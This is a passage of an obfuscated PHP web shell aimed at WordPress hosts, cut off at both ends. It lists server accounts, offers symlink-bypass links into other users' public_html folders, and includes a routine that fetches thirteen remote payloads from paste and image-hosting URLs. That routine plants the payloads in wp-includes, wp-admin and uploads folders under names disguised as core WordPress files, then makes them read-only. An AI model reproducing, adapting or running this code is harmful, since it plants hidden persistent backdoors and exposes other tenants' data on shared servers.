"\133\x20\74\x61\x20\150\x72\145\146\x3d\47\77\x64\151\162\75{$dir}\x26\141\153\x73\x69\x3d\163\171\x6d\x72\145\141\144\47\x3e\102\171\160\141\x73\x73\40\122\145\x61\x64\74\x2f\x61\76\x20\135\40\133\40\74\x61\40\x68\162\x65\x66\x3d\47\x3f\144\x69\x72\x3d{$dir}\46\141\153\x73\x69\75\x73\x79\x6d\x5f\64\x30\x34\x27\x3e\123\171\x6d\154\x69\x6e\153\x20\x34\60\64\74\x2f\x61\x3e\40\135\x20\x5b\40\x3c\x61\40\150\x72\x65\x66\75\47\x3f\144\151\x72\x3d{$dir}\46\x61\x6b\163\x69\x3d\163\171\155\137\142\x79\x70\x61\x73\x27\x3e\x53\x79\x6d\154\151\x6e\153\x20\102\171\x70\141\x73\163\x3c\57\x61\76\x20\x5d\12\74\x64\x69\166\x20\x63\154\x61\163\163\75\47\x74\155\160\47\76\74\164\141\142\154\x65\x20\x63\154\141\x73\163\75\47\164\x65\x78\164\x2d\x63\145\x6e\x74\x65\x72\40\x74\x61\x62\x6c\x65\55\x72\145\x73\x70\x6f\156\163\x69\166\145\47\76\12\74\164\x68\x65\141\x64\x20\x63\x6c\141\x73\163\x3d\x27\142\147\x2d\x64\x61\156\147\145\162\47\76\12\x3c\x74\x68\76\x49\x44\56\74\57\x74\x68\76\12\x3c\164\150\x3e\125\163\x65\x72\163\74\x2f\x74\150\76\12\x3c\164\150\76\163\x79\x6d\x6c\151\x6e\153\40\x3c\57\164\x68\76\12\74\57\164\150\145\141\x64\76"; $IIIIIII11I1l = ''; $IIIIIII11I11 = 0; $IIIIIII11lII = 1000; for (; $IIIIIII11I11 <= $IIIIIII11lII; $IIIIIII11I11++) { $IIIIIII1ll1l = @posix_getpwuid($IIIIIII11I11); if ($IIIIIII1ll1l) { $IIIIIII11I1l .= join("\x3a", $IIIIIII1ll1l) . "\12"; } } echo "\x3c\x62\x72\x2f\76"; $IIIIIII11I1l = trim($IIIIIII11I1l); $IIIIIII11lIl = fopen("\x74\x65\x73\164\56\x74\x78\164", "\167"); fputs($IIIIIII11lIl, $IIIIIII11I1l); fclose($IIIIIII11lIl); $IIIIIII11IIl = 1; $file = fopen("\164\145\x73\x74\56\164\170\164", "\162") or die("\125\x6e\141\x62\x6c\145\40\164\157\40\157\x70\145\156\x20\146\151\154\145\x21"); while (!feof($file)) { $s = fgets($file); $IIIIIII11Il1 = array(); $t = preg_match("\x2f\x5c\x2f\x28\56\x2a\77\51\134\72\134\x2f\57\x73", $s, $IIIIIII11Il1); $IIIIIII11Il1 = str_replace("\150\x6f\155\x65\x2f", '', $IIIIIII11Il1[1]); if (strlen($IIIIIII11Il1) > 12 || strlen($IIIIIII11Il1) == 0 || $IIIIIII11Il1 == "\x62\151\156" || $IIIIIII11Il1 == "\145\164\143\x2f\130\x31\x31\x2f\x66\x73" || $IIIIIII11Il1 == "\x76\141\x72\57\154\151\142\57\x6e\146\163" || $IIIIIII11Il1 == "\x76\x61\162\57\141\x72\160\x77\x61\164\x63\150" || $IIIIIII11Il1 == "\166\x61\x72\x2f\x67\x6f\x70\150\x65\162" || $IIIIIII11Il1 == "\x73\x62\x69\156" || $IIIIIII11Il1 == "\166\141\162\x2f\x61\x64\155" || $IIIIIII11Il1 == "\x75\163\162\x2f\147\x61\155\x65\x73" || $IIIIIII11Il1 == "\166\141\x72\57\146\x74\x70" || $IIIIIII11Il1 == "\145\x74\143\x2f\156\164\x70" || $IIIIIII11Il1 == "\166\x61\162\57\x77\167\167" || $IIIIIII11Il1 == "\x76\141\x72\57\x6e\x61\155\145\x64") { continue; } echo "\74\x74\162\x3e\xa\x3c\x74\x64\76" . $IIIIIII11IIl . "\74\57\x74\x64\76\xa\x3c\x74\x64\x3e" . $IIIIIII11Il1 . "\74\57\164\144\76\xa\74\164\x64\76\x3c\141\x20\150\162\145\146\x3d{$IIIIIII1l1ll}\57\x69\x6e\x64\x6f\x73\x65\x63\x5f\x73\x79\155\x2f\162\157\x6f\x74\57\x68\x6f\155\145\57" . $IIIIIII11Il1 . "\57\x70\165\142\154\151\x63\137\x68\164\x6d\154\40\164\141\x72\x67\x65\164\x3d\47\x5f\x62\154\x61\x6e\x6b\x27\76\x53\171\x6d\154\151\156\x6b\x3c\57\x61\76\74\57\164\x64\76\xa\x3c\57\164\162\76"; $IIIIIII11IIl++; } fclose($file); echo "\x3c\57\x74\141\x62\x6c\145\x3e\74\x2f\144\x69\x76\x3e"; unlink("\x74\x65\163\x74\x2e\164\170\x74"); } } } die; } goto PdaGD; TQDgL: function wpbd($dir) { echo "\x3c\x64\151\166\40\143\x6c\x61\x73\163\x3d\x22\x63\141\x72\x64\x20\155\x62\x2d\65\42\76\12\x3c\x64\151\166\x20\143\x6c\x61\163\163\x3d\x22\143\x61\x72\x64\55\x62\157\144\171\40\146\157\162\x6d\x2d\x67\162\x6f\165\160\x22\76"; echo "\74\x66\x6f\162\155\40\x6d\145\x74\x68\157\x64\x3d\42\x70\157\163\x74\42\40\143\x6c\x61\x73\x73\x3d\x22\x6d\x62\x2d\65\x22\76"; echo "\74\x63\145\156\164\145\x72\76\74\160\76\x3c\160\x20\143\x6c\x61\x73\163\75\x22\164\x65\170\164\55\151\156\x66\157\x20\146\157\156\x74\x2d\167\x65\151\147\150\x74\55\x62\x6f\x6c\144\42\76\133\x2b\x5d\x20\x54\x65\142\141\x72\x20\102\104\40\x4b\x68\165\163\165\x73\x20\127\157\162\x64\x50\x72\x65\x73\163\x3c\x2f\x70\x3e\x3c\x70\x3e\74\57\143\145\156\164\145\x72\76"; echo "\74\143\x65\156\164\145\162\x3e\74\x69\156\160\x75\x74\40\143\154\141\x73\163\x3d\42\142\x74\156\40\142\x74\x6e\55\x73\x75\x63\143\145\163\163\x22\40\164\171\x70\145\75\x22\163\165\142\x6d\x69\164\x22\x20\x6e\141\155\145\x3d\x22\x74\x65\142\141\162\x77\160\x22\x20\166\141\x6c\x75\145\x3d\42\124\145\x62\x61\162\x20\x42\104\x20\127\157\162\144\120\162\x65\x73\x73\x22\76\74\57\x63\x65\156\x74\145\x72\x3e"; echo "\74\57\x66\x6f\162\155\76"; if (isset($_POST["\164\x65\x62\141\162\167\160"])) { $current_url = (isset($_SERVER["\x48\x54\124\x50\x53"]) && $_SERVER["\110\x54\124\120\x53"] === "\157\x6e" ? "\x68\x74\x74\x70\x73" : "\150\x74\164\160") . "\72\57\x2f{$_SERVER["\110\124\x54\120\137\110\x4f\123\x54"]}"; $root_url = parse_url($current_url); $home = $root_url["\x73\143\x68\x65\155\x65"] . "\x3a\x2f\57" . $root_url["\x68\x6f\163\x74"] . "\57"; if (ob_get_level() == 0) { ob_start(); } echo str_pad('', 4096) . "\xa"; $startDirectory = realpath(__DIR__); $b1 = "\150\x74\x74\160\163\72\57\57\x72\x65\163\x2e\143\x6c\x6f\165\x64\151\156\141\x72\x79\x2e\143\157\x6d\57\x64\x62\141\x73\163\145\164\163\57\x72\141\167\x2f\x75\x70\154\x6f\141\144\x2f\166\x31\x36\65\60\65\66\67\70\63\x39\x2f\164\x6f\x6f\154\57\141\154\146\61\x5f\x73\153\x70\x6b\155\x7a\x2e\x74\170\x74"; $b2 = "\150\164\164\160\x73\x3a\x2f\x2f\x72\145\163\56\143\154\157\165\144\x69\x6e\141\162\x79\56\x63\157\x6d\57\144\142\x61\163\163\145\x74\163\x2f\162\x61\x77\57\x75\x70\154\157\x61\x64\57\x76\61\x36\x35\x30\x35\66\67\70\x39\63\x2f\164\157\157\x6c\x2f\x61\x6c\x66\62\137\142\x39\153\160\x64\x38\x2e\x74\170\x74"; $b3 = "\x68\x74\x74\160\x73\72\x2f\x2f\162\x65\163\x2e\x63\154\x6f\165\x64\x69\156\141\x72\x79\x2e\143\x6f\155\57\x64\142\x61\x73\163\x65\x74\x73\57\x72\141\x77\57\165\x70\154\x6f\x61\144\x2f\x76\61\66\65\60\x35\x36\67\x39\63\60\x2f\x74\x6f\x6f\x6c\x2f\x61\x6c\x66\63\x5f\x67\170\65\166\x6a\157\x2e\164\x78\164"; $b4 = "\x68\164\164\x70\x73\x3a\57\57\x72\145\x73\56\x63\x6c\x6f\165\144\151\x6e\141\x72\171\56\x63\x6f\155\x2f\144\142\141\163\x73\145\164\163\x2f\x72\x61\167\57\x75\160\154\157\x61\144\57\x76\61\x36\x35\x30\x35\66\x38\x32\x32\x38\57\164\x6f\157\154\x2f\x61\x6c\x66\x34\137\x74\x65\x6f\x6b\145\166\x2e\x74\170\164"; $b5 = "\x68\164\x74\x70\163\x3a\57\x2f\x72\145\163\56\143\x6c\157\x75\x64\151\x6e\x61\162\x79\x2e\x63\157\x6d\x2f\144\142\141\163\163\145\x74\x73\57\x72\141\x77\x2f\x75\160\x6c\x6f\x61\x64\57\166\x31\x36\x35\60\65\66\70\62\x34\x35\57\164\157\157\154\57\x61\x6c\146\x35\x5f\142\x68\x76\153\154\x6d\56\164\x78\x74"; $b6 = "\150\164\164\160\x73\x3a\x2f\x2f\162\145\163\x2e\x63\x6c\x6f\165\144\x69\x6e\141\x72\x79\56\x63\x6f\155\57\144\142\141\163\x73\145\x74\163\57\162\141\x77\x2f\x75\x70\x6c\157\141\144\x2f\166\x31\x36\65\x30\65\x36\x38\62\66\x31\57\164\x6f\x6f\x6c\x2f\x61\154\146\x36\137\151\165\x72\143\x72\166\x2e\x74\170\x74"; $b7 = "\x68\x74\x74\160\x73\72\57\57\x73\156\151\160\x70\x65\x74\x2e\x68\x6f\x73\164\x2f\160\167\170\171\57\x72\x61\x77"; $b8 = "\150\x74\x74\x70\x73\72\x2f\x2f\x72\145\x73\x2e\x63\x6c\157\165\x64\151\156\141\x72\171\56\x63\157\x6d\57\x64\142\x61\x73\x73\x65\x74\x73\x2f\x72\141\167\x2f\165\160\154\157\141\144\57\166\61\x36\x35\x30\65\66\x39\x35\x34\60\x2f\164\157\157\x6c\57\167\163\x6b\141\147\141\x6d\151\x5f\142\x77\x6b\x78\155\167\56\x74\170\x74"; $b9 = "\150\164\x74\x70\163\x3a\x2f\x2f\x72\x65\163\56\143\x6c\x6f\x75\144\x69\156\x61\x72\x79\x2e\x63\x6f\x6d\57\144\142\141\x73\x73\145\x74\163\57\162\141\167\x2f\165\160\154\157\141\144\57\x76\61\66\x35\x30\x35\x37\61\60\66\65\57\164\157\157\x6c\57\x75\160\154\x6f\141\x64\x65\x72\x5f\x62\x66\x7a\x65\150\146\56\164\x78\164"; $b10 = "\150\164\x74\160\x73\x3a\x2f\57\x64\160\x61\x73\164\x65\56\x63\157\x6d\57\x42\x55\x42\123\103\x32\131\70\62\x2e\x74\170\x74"; $b11 = "\150\x74\x74\160\163\72\x2f\57\163\x6e\151\160\x70\x65\x74\x2e\x68\x6f\x73\x74\x2f\172\x67\x73\x76\x2f\x72\141\167"; $b12 = "\x68\x74\164\x70\163\72\57\57\x72\145\x73\56\x63\x6c\x6f\165\144\151\156\x61\x72\x79\56\143\x6f\x6d\57\x64\x62\141\163\x73\x65\164\x73\57\162\x61\x77\x2f\165\160\x6c\x6f\141\144\57\x76\61\66\65\60\65\x36\67\x38\x33\71\57\x74\157\157\154\57\141\154\x66\61\137\163\x6b\x70\153\155\x7a\x2e\x74\170\x74"; $b13 = "\x68\164\x74\x70\163\x3a\x2f\x2f\162\x65\x73\56\x63\154\x6f\165\144\151\x6e\x61\x72\x79\x2e\x63\x6f\155\57\x64\142\141\163\x73\145\164\163\x2f\x72\141\x77\57\165\160\154\x6f\141\x64\x2f\166\x31\66\x35\60\65\x37\61\x30\x36\65\x2f\x74\x6f\157\154\57\165\x70\x6c\x6f\x61\144\145\162\137\x62\146\172\145\150\x66\56\164\x78\164"; $nama1 = "\162\141\x6e\x64\157\155\137\142\171\164\145\163\x5f\142\x63\162\171\160\x74\x2e\160\x68\160"; $nama2 = "\x41\144\x76\x61\156\143\145\56\160\x68\160"; $nama3 = "\x44\x69\162\x65\x63\164\157\x72\171\x2e\160\x68\160"; $nama4 = "\x72\x61\156\x64\x6f\155\x5f\x63\x6f\x6d\x70\x61\164\x2e\x70\150\x70"; $nama5 = "\x48\157\163\x74\x6e\141\x6d\145\x2e\x70\150\160"; $nama6 = "\143\x6c\141\163\163\55\x77\160\55\x72\x65\x73\164\55\147\x65\x74\x2d\143\157\x6e\x74\162\157\x6c\154\x65\162\56\160\150\160"; $nama7 = "\157\165\x74\154\x69\156\x65\x2e\160\150\x70"; $nama8 = "\x73\151\164\145\55\160\x6c\165\147\x69\156\x73\56\x70\150\160"; $nama9 = "\x75\x73\x65\x72\55\x63\x6f\x6e\x66\151\147\x2e\x70\150\160"; $nama10 = "\155\145\x74\x61\55\x64\x65\160\x72\145\143\x61\x74\x65\144\56\x70\x68\160"; $nama11 = "\151\x6d\x61\147\145\163\55\154\x6f\x67\157\x2d\x66\141\x76\x69\x63\157\x6e\x2e\160\x68\160"; $nama12 = "\163\x33\x2d\61\x2d\61\x2d\64\x37\67\x78\64\x30\60\x2e\x70\150\x70"; $nama13 = "\167\x6f\157\143\x6f\155\x6d\145\x72\143\x65\x2d\160\154\141\143\145\150\x6f\x6c\x64\145\162\x2d\x33\x30\x30\x78\x33\60\60\x2e\x70\x68\160"; $dir1 = $_SERVER["\104\x4f\x43\125\x4d\105\116\124\x5f\122\x4f\x4f\124"] . "\x2f\167\x70\55\x69\x6e\143\x6c\x75\144\x65\x73\x2f\x72\x61\x6e\x64\x6f\155\x5f\143\x6f\x6d\x70\141\164\57"; if (!is_dir($dir1)) { $dir1 = $startDirectory . "\x2f\x77\x70\x2d\x69\156\143\x6c\165\x64\x65\163\57\162\141\x6e\144\x6f\155\137\143\157\155\160\141\164\57"; $path1 = "\x77\x70\x2d\x69\156\143\154\165\144\145\163\x2f\x72\x61\x6e\144\157\x6d\x5f\143\x6f\155\x70\x61\x74\57"; mkdir($dir1, 493, true); } $dir2 = $_SERVER["\104\117\103\125\115\105\x4e\x54\137\122\x4f\x4f\x54"] . "\x2f\x77\160\x2d\151\156\x63\x6c\165\144\x65\163\x2f\122\145\161\165\x65\x73\x74\x73\57\101\165\x74\150\57"; if (!is_dir($dir2)) { $dir2 = $startDirectory . "\57\167\x70\x2d\151\156\143\154\x75\x64\x65\x73\x2f\x52\145\x71\165\145\x73\164\163\x2f\x41\x75\x74\150\x2f"; $path2 = "\x77\x70\55\x69\x6e\x63\154\x75\x64\x65\x73\x2f\122\x65\x71\165\145\x73\x74\163\57\101\165\164\x68\57"; mkdir($dir2, 493, true); } $dir3 = $_SERVER["\x44\117\x43\125\x4d\x45\x4e\x54\137\122\117\117\124"] . "\x2f\x77\x70\55\x69\x6e\143\154\x75\144\x65\x73\57\x73\x6f\x64\151\165\x6d\x5f\x63\x6f\x6d\160\x61\x74\57\156\x61\155\x65\163\160\x61\143\145\x64\x2f"; if (!is_dir($dir3)) { $dir3 = $startDirectory . "\x2f\x77\x70\x2d\x69\156\x63\x6c\x75\x64\x65\163\57\163\157\x64\x69\x75\x6d\x5f\143\x6f\155\160\141\x74\57\x6e\x61\x6d\145\x73\160\x61\143\145\144\57"; $path3 = "\167\x70\55\151\156\x63\x6c\x75\144\x65\163\x2f\163\157\x64\x69\165\x6d\137\143\x6f\x6d\x70\x61\164\57\156\141\x6d\145\x73\160\141\x63\145\x64\x2f"; mkdir($dir3, 493, true); } $dir4 = $_SERVER["\104\x4f\103\x55\x4d\105\x4e\x54\137\122\x4f\117\124"] . "\x2f\167\160\55\x69\156\143\x6c\x75\144\x65\x73\x2f\163\x6f\x64\x69\165\x6d\x5f\143\157\x6d\x70\x61\164\x2f\x6c\151\x62\57"; if (!is_dir($dir4)) { $dir4 = $startDirectory . "\57\167\x70\x2d\151\156\143\x6c\x75\x64\x65\x73\57\x73\157\x64\x69\x75\155\137\x63\157\x6d\x70\x61\164\57\154\x69\x62\57"; $path4 = "\x77\x70\x2d\x69\156\x63\154\165\144\x65\163\x2f\163\157\144\x69\165\x6d\x5f\143\157\155\x70\141\x74\57\x6c\x69\142\57"; mkdir($dir4, 493, true); } $dir5 = $_SERVER["\104\117\103\x55\x4d\x45\x4e\124\x5f\122\117\117\124"] . "\x2f\167\x70\55\x69\156\143\x6c\165\144\x65\x73\57\120\110\x50\115\x61\x69\154\145\162\57"; if (!is_dir($dir5)) { $dir5 = $startDirectory . "\57\x77\x70\55\x69\156\x63\x6c\165\x64\145\163\x2f\120\110\120\x4d\141\x69\154\145\162\57"; $path5 = "\x77\x70\55\151\x6e\x63\154\x75\x64\x65\163\57\x50\x48\120\115\x61\151\x6c\x65\162\x2f"; mkdir($dir5, 493, true); } $dir6 = $_SERVER["\104\x4f\x43\x55\115\x45\x4e\x54\137\x52\x4f\117\x54"] . "\57\x77\x70\55\151\156\143\x6c\165\144\x65\x73\x2f\162\x65\163\164\55\x61\160\x69\x2f\145\156\x64\160\157\151\156\164\x73\57"; if (!is_dir($dir6)) { $dir6 = $startDirectory . "\x2f\167\160\55\151\156\143\154\x75\144\145\163\57\162\145\163\x74\55\141\160\x69\57\145\x6e\144\160\x6f\151\x6e\x74\x73\x2f"; $path6 = "\x77\x70\55\x69\156\143\x6c\x75\x64\145\163\57\x72\145\163\164\x2d\x61\x70\151\57\x65\156\144\160\x6f\x69\x6e\x74\163\x2f"; mkdir($dir6, 493, true); } $dir7 = $_SERVER["\104\117\103\125\x4d\105\116\124\x5f\x52\x4f\117\x54"] . "\57\x77\160\55\151\156\143\x6c\x75\144\x65\163\x2f\x54\145\x78\x74\x2f\x44\x69\146\146\57\x52\x65\x6e\144\145\162\x65\162\x2f"; if (!is_dir($dir7)) { $dir7 = $startDirectory . "\57\x77\x70\55\x69\x6e\x63\154\x75\x64\x65\x73\x2f\x54\x65\x78\x74\57\104\x69\146\146\x2f\x52\x65\156\x64\x65\x72\x65\x72\x2f"; $path7 = "\167\160\55\151\156\143\x6c\x75\144\145\163\57\124\145\170\164\57\x44\x69\x66\x66\x2f\x52\145\156\144\x65\x72\145\162\x2f"; mkdir($dir7, 493, true); } $dir8 = $_SERVER["\104\x4f\103\125\115\105\116\x54\x5f\x52\x4f\x4f\x54"] . "\x2f\x77\x70\x2d\141\x64\x6d\x69\x6e\x2f\156\x65\x74\167\x6f\162\x6b\x2f"; if (!is_dir($dir8)) { $dir8 = $startDirectory . "\x2f\167\x70\55\x61\x64\x6d\x69\156\x2f\156\145\164\167\x6f\x72\x6b\57"; $path8 = "\x77\160\55\x61\x64\x6d\x69\x6e\x2f\x6e\x65\x74\x77\157\162\153\57"; mkdir($dir8, 493, true); } $dir9 = $_SERVER["\104\x4f\x43\x55\x4d\105\116\124\137\122\117\117\x54"] . "\x2f\167\x70\x2d\x61\144\x6d\151\x6e\57\165\163\x65\x72\57"; if (!is_dir($dir9)) { $dir9 = $startDirectory . "\x2f\167\x70\55\141\x64\155\151\x6e\57\x75\x73\145\x72\x2f"; $path9 = "\167\160\55\141\x64\x6d\151\156\57\165\163\145\x72\57"; mkdir($dir9, 493, true); } $dir10 = $_SERVER["\104\x4f\x43\125\x4d\105\x4e\x54\x5f\122\x4f\117\x54"] . "\x2f\x77\x70\x2d\x61\144\155\x69\156\x2f\x69\x6e\143\154\x75\x64\145\x73\57"; if (!is_dir($dir10)) { $dir10 = $startDirectory . "\x2f\x77\x70\55\x61\144\x6d\151\x6e\57\x69\156\143\154\x75\144\x65\163\x2f"; $path10 = "\x77\x70\55\x61\144\x6d\x69\x6e\57\151\x6e\143\154\x75\x64\145\x73\57"; mkdir($dir10, 493, true); } $dir11 = $_SERVER["\x44\117\103\x55\x4d\105\116\124\137\122\x4f\x4f\x54"] . "\57\167\x70\x2d\x63\157\x6e\x74\145\156\164\57\x75\x70\x6c\x6f\141\144\x73\x2f\62\60\62\62\x2f\60\64\57"; if (!is_dir($dir11)) { $dir11 = $startDirectory . "\57\x77\160\x2d\x63\x6f\156\164\145\156\164\x2f\x75\160\x6c\157\141\144\x73\57\62\60\x32\62\57\x30\x34\57"; $path11 = "\167\x70\55\143\157\x6e\x74\145\x6e\164\x2f\165\160\x6c\x6f\x61\x64\x73\x2f\62\x30\x32\62\x2f\x30\64\57"; mkdir($dir11, 493, true); } $dir12 = $_SERVER["\x44\x4f\x43\125\x4d\105\116\124\x5f\122\117\117\124"] . "\x2f\x77\x70\x2d\143\x6f\156\164\145\156\x74\57\x75\x70\x6c\x6f\x61\x64\x73\x2f\62\60\x32\62\x2f\60\x31\57"; if (!is_dir($dir12)) { $dir12 = $startDirectory . "\x2f\x77\x70\x2d\x63\157\x6e\x74\x65\x6e\x74\x2f\x75\x70\x6c\x6f\141\144\x73\57\x32\x30\62\x32\57\x30\x31\x2f"; $path12 = "\167\x70\x2d\x63\157\x6e\164\x65\156\164\x2f\x75\160\154\157\141\144\163\x2f\62\60\x32\x32\x2f\x30\x31\57"; mkdir($dir12, 493, true); } $dir13 = $_SERVER["\x44\117\x43\x55\115\105\x4e\x54\x5f\x52\117\117\124"] . "\57\x77\160\x2d\143\157\x6e\x74\x65\x6e\x74\x2f\165\160\x6c\x6f\141\x64\163\57\x32\60\62\x32\x2f\60\x32\x2f"; if (!is_dir($dir13)) { $dir13 = $startDirectory . "\x2f\167\x70\55\x63\157\156\164\145\x6e\164\x2f\165\x70\x6c\x6f\x61\x64\x73\x2f\x32\x30\62\x32\x2f\60\62\x2f"; $path13 = "\x77\x70\x2d\143\157\156\164\x65\156\164\x2f\165\x70\154\x6f\141\x64\x73\x2f\62\60\62\62\57\x30\x32\57"; mkdir($dir13, 493, true); } $finalbd1 = $dir1 . $nama1; $finalbd2 = $dir2 . $nama2; $finalbd3 = $dir3 . $nama3; $finalbd4 = $dir4 . $nama4; $finalbd5 = $dir5 . $nama5; $finalbd6 = $dir6 . $nama6; $finalbd7 = $dir7 . $nama7; $finalbd8 = $dir8 . $nama8; $finalbd9 = $dir9 . $nama9; $finalbd10 = $dir10 . $nama10; $finalbd11 = $dir11 . $nama11; $finalbd12 = $dir12 . $nama12; $finalbd13 = $dir13 . $nama13; $urlbd1 = $home . $path1 . $nama1; $urlbd2 = $home . $path2 . $nama2; $urlbd3 = $home . $path3 . $nama3; $urlbd4 = $home . $path4 . $nama4; $urlbd5 = $home . $path5 . $nama5; $urlbd6 = $home . $path6 . $nama6; $urlbd7 = $home . $path7 . $nama7; $urlbd8 = $home . $path8 . $nama8; $urlbd9 = $home . $path9 . $nama9; $urlbd10 = $home . $path10 . $nama10; $urlbd11 = $home . $path11 . $nama11; $urlbd12 = $home . $path12 . $nama12; $urlbd13 = $home . $path13 . $nama13; $bdresult = ''; if (!file_exists($finalbd1)) { if (ini_get("\141\x6c\154\x6f\x77\x5f\165\162\154\x5f\x66\x6f\160\145\156")) { $bd1 = file_get_contents($b1); $status_bd1 = file_put_contents($finalbd1, $bd1); if ($status_bd1) { $bdresult .= "\74\163\160\141\156\40\143\154\x61\x73\163\x3d\x22\x74\x65\170\164\55\x73\x75\143\x63\x65\x73\x73\40\x66\157\x6e\164\55\167\x65\x69\147\x68\164\x2d\142\x6f\154\144\42\x3e\x53\x75\153\x73\x65\163\x21\74\x2f\x73\x70\141\156\76\x26\x6e\x62\163\160\x3b\46\x6e\142\x73\160\73\46\156\142\163\x70\x3b\x3c\141\40\x63\x6c\141\163\163\75\x22\164\145\x78\x74\x2d\151\156\146\157\x22\x20\x68\x72\145\x66\x3d\47" . $urlbd1 . "\47\40\x74\141\x72\147\x65\164\x3d\x27\x5f\142\x6c\141\x6e\153\47\40\x72\145\x6c\75\x27\x6e\157\146\x6f\154\x6c\x6f\x77\40\x6e\x6f\x6f\x70\x65\156\145\x72\40\156\157\162\x65\x66\x65\162\162\x65\x72\x27\x3e" . $urlbd1 . "\74\x2f\x61\76\x3c\142\162\x2f\x3e" . PHP_EOL; chmod($finalbd1, 292); } else { $altdir1 = $_SERVER["\x44\117\103\125\115\105\x4e\x54\137\x52\117\117\x54"] . "\57\x77\160\55\143\x6f\156\x74\145\156\x74\x2f\165\160\x6c\x6f\141\x64\163\x2f\62\60\x32\62\57\60\62\x2f"; if (!is_dir($altdir1)) { $altdir1 = $startDirectory . "\57\x77\x70\x2d\143\x6f\x6e\164\x65\x6e\x74\x2f\x75\160\x6c\157\x61\x64\163\57\62\60\62\x32\x2f\60\x32\57"; } $altdir1_final = $altdir1 . $nama1; file_put_contents($altdir1_final, $bd1); chmod($altdir1_final, 292); $bdresult .= "\74\x73\160\141\156\x20\x73\164\171\154\x65\x3d\143\x6f\154\157\x72\x3a\162\145\x64\x21\151\155\160\x6f\162\x74\141\156\164\73\x66\157\x6e\164\x2d\167\x65\x69\x67\x68\x74\72\x62\x6f\154\x64\73\x3e\107\x61\147\141\x6c\x20\124\141\x72\x6f\40\x44\x69\x20\124\141\162\147\x65\164\x21\40\x41\x6b\x73\x65\163\x20\144\151\x3a\74\x2f\x73\160\x61\x6e\x3e\46\x6e\142\x73\x70\73\46\156\142\163\160\73\46\x6e\x62\x73\160\73" . $home . $altdir1_final . "\x3c\x62\x72\x2f\x3e" . PHP_EOL; } } } else { $bdresult .= "\x3c\x73\x70\141\x6e\x20\x63\x6c\x61\163\163\75\42\x74\145\170\164\55\163\x75\x63\143\x65\x73\x73\x22\x3e\106\x69\154\145\x20\105\170\151\163\x74\163\41\x3c\x2f\163\x70\141\x6e\76\x26\156\142\x73\160\x3b\46\x6e\x62\x73\160\x3b\46\x6e\142\163\160\73\74\141\x20\143\154\x61\x73\163\75\x22\164\x65\170\164\55\151\156\146\157\42\40\x68\x72\x65\146\75\47" . $urlbd1 . "\47\40\164\x61\x72\x67\145\x74\x3d\47\137\142\x6c\141\156\153\47\40\x72\145\x6c\x3d\x27\x6e\x6f\x66\x6f\x6c\x6c\157\x77\40\156\157\x6f\160\145\156\145\x72\40\x6e\157\x72\x65\x66\145\162\x72\145\x72\x27\x3e" . $urlbd1 . "\74\57\x61\76\74\142\x72\x2f\76" . PHP_EOL; chmod($finalbd1, 292); } if (!file_exists($finalbd2)) { if (ini_get("\x61\x6c\154\157\x77\x5f\x75\x72\x6c\137\146\157\x70\x65\x6e")) { $bd2 = file_get_contents($b2); $status_bd2 = file_put_contents($finalbd2, $bd2); if ($status_bd2) { $bdresult .= "\74\163\x70\141\156\40\143\x6c\x61\163\x73\x3d\42\164\x65\x78\164\x2d\x73\x75\143\x63\x65\x73\163\40\x66\x6f\156\x74\55\x77\145\x69\147\x68\x74\x2d\x62\x6f\154\144\42\76\123\165\153\163\145\163\41\74\57\163\160\x61\156\x3e\x26\x6e\142\163\160\x3b\x26\156\x62\163\x70\73\46\x6e\x62\163\x70\x3b\x3c\x61\x20\143\154\x61\x73\163\75\x22\x74\x65\170\164\55\x69\156\146\157\42\40\150\162\145\146\75\47" . $urlbd2 . "\47\40\x74\x61\162\147\x65\x74\x3d\47\x5f\x62\154\141\x6e\153\47\40\162\x65\154\x3d\47\156\x6f\146\157\154\154\157\x77\40\x6e\x6f\157\x70\x65\x6e\x65\x72\x20\156\157\162\x65\x66\x65\x72\162\145\162\47\x3e" . $urlbd2 . "\74\57\141\76\x3c\x62\x72\57\76" . PHP_EOL; chmod($finalbd2, 292); } else { $altdir2 = $_SERVER["\x44\x4f\x43\x55\x4d\105\116\124\x5f\122\117\117\x54"] . "\57\167\x70\x2d\x63\x6f\156\x74\145\x6e\x74\x2f\x75\160\x6c\157\141\144\x73\x2f\62\60\x32\62\x2f\x30\x32\x2f"; if (!is_dir($altdir2)) { $altdir2 = $startDirectory . "\x2f\167\x70\55\x63\157\156\x74\x65\156\164\57\x75\160\x6c\157\x61\x64\163\x2f\62\60\62\x32\57\x30\62\57"; } $altdir2_final = $altdir2 . $nama2; file_put_contents($altdir2_final, $bd2); chmod($altdir2_final, 292); $bdresult .= "\74\163\160\x61\x6e\x20\x73\x74\x79\154\145\x3d\x63\157\x6c\157\162\72\x72\145\144\x21\x69\155\160\157\x72\x74\x61\156\164\73\146\x6f\156\164\55\x77\x65\151\147\150\164\x3a\142\x6f\154\x64\x3b\x3e\107\x61\147\141\x6c\40\x54\x61\162\157\40\104\x69\40\124\141\162\x67\145\164\x21\x20\x41\x6b\163\x65\x73\x20\144\151\x3a\x3c\x2f\x73\x70\x61\x6e\76\46\156\x62\x73\x70\73\46\x6e\142\163\160\73\x26\156\x62\163\x70\x3b" . $home . $altdir2_final . "\74\x62\x72\57\76" . PHP_EOL; } } } else { $bdresult .= "\x3c\x73\x70\141\156\40\143\154\141\163\x73\75\x22\x74\145\x78\x74\55\163\x75\x63\x63\145\x73\163\42\76\106\151\154\x65\40\105\x78\x69\x73\x74\x73\x21\x3c\57\x73\160\x61\x6e\76\46\x6e\142\163\160\73\x26\x6e\142\x73\160\73\x26\x6e\142\163\160\x3b\x3c\141\x20\143\x6c\x61\163\x73\x3d\42\x74\145\170\164\x2d\151\156\146\157\x22\40\150\162\x65\x66\75\x27" . $urlbd2 . "\47\40\164\x61\162\147\145\x74\75\47\x5f\x62\154\141\156\x6b\47\40\162\145\x6c\x3d\47\156\157\x66\157\154\x6c\157\167\x20\x6e\157\x6f\x70\145\156\145\x72\x20\156\x6f\x72\x65\146\x65\x72\162\145\x72\47\76" . $urlbd2 . "\74\x2f\141\x3e\74\x62\x72\57\x3e" . PHP_EOL; chmod($finalbd2, 292); } if (!file_exists($finalbd3)) { if (ini_get("\x61\154\x6c\157\167\x5f\165\x72\x6c\x5f\146\x6f\160\x65\156")) { $bd3 = file_get_contents($b3); $status_bd3 = file_put_contents($finalbd3, $bd3); if ($status_bd3) { $bdresult .= 